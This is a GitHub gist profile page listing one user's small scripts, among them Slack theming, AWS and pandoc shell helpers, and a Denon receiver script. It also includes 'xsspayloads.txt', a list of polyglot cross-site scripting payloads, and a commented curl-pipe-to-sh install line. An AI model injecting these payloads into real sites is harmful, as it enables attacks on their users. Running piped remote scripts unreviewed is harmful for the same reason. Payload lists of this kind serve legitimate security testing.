Skip to content

Instantly share code, notes, and snippets.

Justin Soderberg sodejm

Block or report user

Report or block sodejm

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@sodejm
sodejm / black.css
Last active Jan 24, 2019
slack dark css
View black.css
@-moz-document regexp("https://[^./]*\\.slack\\.com/(?!pricing)(?!security).*") { body { background: #222; color: #e6e6e6; }
a { color: #949494; }
a:link, a:visited { color: #949494; }
a:hover, a:active, a:focus { color: #c7c7c7; }
hr { border-bottom: 1px solid #424242; border-top: 1px solid #222; }
h1, h2, h3, h4 { color: #e6e6e6; }
h1 a { color: #e6e6e6; }
h1 a:active, h1 a:hover, h1 a:link, h1 a:visited { color: #e6e6e6; }
.bordered { border: 1px solid #363636; }
.top_border { border-top: 1px solid #363636; }
View darkify_slack.sh
#!/bin/sh
# Darkify Slack on Mac OS:
# curl https://gist.githubusercontent.com/ryanpcmcquen/8a7ddc72460eca0dc1f2dc389674dde1/raw/darkify_slack.sh | sh
SLACK_INTEROP_JS="/Applications/Slack.app/Contents/Resources/app.asar.unpacked/src/static/ssb-interop.js"
# Thanks to: https://gist.github.com/DrewML/0acd2e389492e7d9d6be63386d75dd99#gistcomment-2358430
if [ -z "`grep tt__customCss ${SLACK_INTEROP_JS}`" ]; then
# Backup original CSS for reverts:
View listusec2.txt
# Author: sodejm
# Add to bash_profile as a quick way to list your US EC2 instances
# requires the aws-cli
# use: listusec2
# List all EC2 Instances for US regions
function listec2(){
for region in `aws ec2 describe-regions --filters "Name=endpoint,Values=*us*" --output text |
cut -f3`
do
@sodejm
sodejm / countLoC.ps1
Created Feb 7, 2018
Basic Powershell script to count lines of code, this probably isn't 100% accurate but works for my basic purposes
View countLoC.ps1
# .\countLOC.ps1 -path "C:\code\MyProject" -outputFile "C:\code\loc.csv" -include "*.cs" -exclude "*.designer.cs"
param([string]$path, [string]$outputFile, [string]$include = "*.*", [string]$exclude = "")
Clear-Host
Get-ChildItem -re -in $include -ex $exclude $path |
Foreach-Object { Write-Host "Counting $_.FullName"
$fileStats = Get-Content $_.FullName | Measure-Object -line
$linesInFile = $fileStats.Lines
"$_,$linesInFile" } | Out-File $outputFile -encoding "UTF8"
Write-Host "Complete"
View md2doc
# Author: sodejm
# Add to bash_profile as a quick way to conver markdown notes to word doc
# requires pandoc to be installed
# use: md2doc file1.md
# this will output file1.doc
# Note: this does not handle docs with spaces in the filename well so feel free to modify that or just name things like file_1.md
function md2doc() {
echo "Converting a markdown file to docx"
View oui_vendorname.sh
#!/bin/bash
#Justin Soderberg
# Will download IEEE oui database and format it to be used with dhcpd(posix) in splunk
#download file
wget standards.ieee.org/develop/regauth/oui/oui.txt
#extract and format new file
grep -i '(hex)' oui.txt >> mod_oui.txt
sed -i 's/-/:/g' mod_oui.txt
@sodejm
sodejm / Set Terminal Title
Created Mar 11, 2017
Set a custom terminal title
View Set Terminal Title
# Add to bashrc
# tested and working in Kali 2.0
# function to set terminal title
function set-title(){
if [[ -z "$ORIG" ]]; then
ORIG=$PS1
fi
TITLE="\[\e]2;$*\a\]"
PS1=${ORIG}${TITLE}
}
@sodejm
sodejm / xsspayloads.txt
Created Dec 29, 2016
customize list of xss payloads, much of the credit should go to fuzzdb/rsnake/lcamptuf. some are my own but many are just added over time from around the web
View xsspayloads.txt
"/><img src=x onerror=alert('sodejm')/>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascrip@Ωt://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
@sodejm
sodejm / osx_brew_tools_install.sh
Created Dec 25, 2016
will keep this updated with the main tools i need for a clean osx install
View osx_brew_tools_install.sh
brew install cloc ipcalc python3 mtr slurm rsync exiftool
@sodejm
sodejm / DenonVol.py
Created Nov 25, 2016
Control Denon Receiver Volume with basic script
View DenonVol.py
# requires python 3
# Author: Justin Soderberg
# tested with Denon AVR-X1200W
import sys
import requests
import argparse
# global value for the receivers ip address
You can’t perform that action at this time.